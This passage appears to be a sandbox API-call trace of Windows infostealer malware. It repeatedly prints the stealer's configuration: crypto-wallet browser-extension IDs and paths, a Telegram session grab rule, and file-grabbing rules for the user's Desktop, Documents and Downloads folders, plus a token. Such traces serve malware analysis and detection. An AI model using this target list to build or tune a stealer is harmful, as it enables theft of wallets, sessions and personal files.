Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.178] lstrlenW (lpString="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3350 [0260.178] lstrlenW (lpString="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3350 [0260.178] LocalAlloc (uFlags=0x40, uBytes=0x1a2c) returned 0x6b9720 [0260.178] lstrlenW (lpString="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3350 [0260.178] LocalAlloc (uFlags=0x40, uBytes=0x1a2c) returned 0x6bb158 [0260.178] lstrlenW (lpString="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3350 [0260.178] LocalAlloc (uFlags=0x40, uBytes=0x1a2c) returned 0x6bcb90 [0260.178] StrStrW (lpFirst="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.178] lstrlenW (lpString="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension 